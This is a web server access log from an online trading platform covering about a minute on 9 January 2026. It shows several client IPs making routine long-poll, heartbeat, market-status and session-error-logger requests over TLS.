[09/Jan/2026:14:44:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:44:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941339048 HTTP/1.1" -
[09/Jan/2026:14:44:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941333124 HTTP/1.1" -
[09/Jan/2026:14:44:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:44:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941350271 HTTP/1.1" -
[09/Jan/2026:14:44:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941336335 HTTP/1.1" -
[09/Jan/2026:14:44:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941344082 HTTP/1.1" -
[09/Jan/2026:14:44:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941338191 HTTP/1.1" -
[09/Jan/2026:14:44:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941355305 HTTP/1.1" -
[09/Jan/2026:14:44:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941341365 HTTP/1.1" -
[09/Jan/2026:14:44:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941349152 HTTP/1.1" -
[09/Jan/2026:14:44:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:44:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941343314 HTTP/1.1" -
[09/Jan/2026:14:44:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941346413 HTTP/1.1" -
[09/Jan/2026:14:44:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941360336 HTTP/1.1" -
[09/Jan/2026:14:44:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941354244 HTTP/1.1" -
[09/Jan/2026:14:44:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941348464 HTTP/1.1" -
[09/Jan/2026:14:44:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:44:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941366983 HTTP/1.1" -
[09/Jan/2026:14:44:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941351447 HTTP/1.1" -
[09/Jan/2026:14:44:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941359307 HTTP/1.1" -
[09/Jan/2026:14:44:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941353596 HTTP/1.1" -
[09/Jan/2026:14:44:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941356492 HTTP/1.1" -
[09/Jan/2026:14:44:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941372023 HTTP/1.1" -
[09/Jan/2026:14:44:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941364340 HTTP/1.1" -
[09/Jan/2026:14:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:44:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941358750 HTTP/1.1" -
[09/Jan/2026:14:44:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941361545 HTTP/1.1" -
[09/Jan/2026:14:44:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941377086 HTTP/1.1" -
[09/Jan/2026:14:44:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:44:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:44:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:44:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941369428 HTTP/1.1" -
[09/Jan/2026:14:44:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941363794 HTTP/1.1" -
[09/Jan/2026:14:44:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:44:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:44:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941366584 HTTP/1.1" -
[09/Jan/2026:14:44:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941382108 HTTP/1.1" -
[09/Jan/2026:14:44:58 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941374461 HTTP/1.1" -
[09/Jan/2026:14:45:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941368861 HTTP/1.1" -
[09/Jan/2026:14:45:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941387140 HTTP/1.1" -
[09/Jan/2026:14:45:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941371613 HTTP/1.1" -
[09/Jan/2026:14:45:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941379532 HTTP/1.1" -
[09/Jan/2026:14:45:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:45:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941373998 HTTP/1.1" -
[09/Jan/2026:14:45:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941392160 HTTP/1.1" -
[09/Jan/2026:14:45:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941376661 HTTP/1.1" -
[09/Jan/2026:14:45:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941384619 HTTP/1.1" -
[09/Jan/2026:14:45:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941379147 HTTP/1.1" -
[09/Jan/2026:14:45:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:45:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941381681 HTTP/1.1" -
[09/Jan/2026:14:45:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941397193 HTTP/1.1" -
[09/Jan/2026:14:45:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941389688 HTTP/1.1" -
[09/Jan/2026:14:45:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941384294 HTTP/1.1" -
[09/Jan/2026:14:45:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941386715 HTTP/1.1" -
[09/Jan/2026:14:45:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941402251 HTTP/1.1" -
[09/Jan/2026:14:45:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941394721 HTTP/1.1" -
[09/Jan/2026:14:45:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:45:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:45:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941389428 HTTP/1.1" -
[09/Jan/2026:14:45:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941391761 HTTP/1.1" -
[09/Jan/2026:14:45:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941407326 HTTP/1.1" -
[09/Jan/2026:14:45:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:45:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:45:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:45:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941399814 HTTP/1.1" -
[09/Jan/2026:14:45:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:45:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:45:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941394466 HTTP/1.1" -
[09/Jan/2026:14:45:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941396805 HTTP/1.1" -
[09/Jan/2026:14:45:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941412421 HTTP/1.1" -
[09/Jan/2026:14:45:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941404841 HTTP/1.1" -
[09/Jan/2026:14:45:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941399519 HTTP/1.1" -
[09/Jan/2026:14:45:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941401827 HTTP/1.1" -
[09/Jan/2026:14:45:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941417447 HTTP/1.1" -
[09/Jan/2026:14:45:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941409905 HTTP/1.1" -
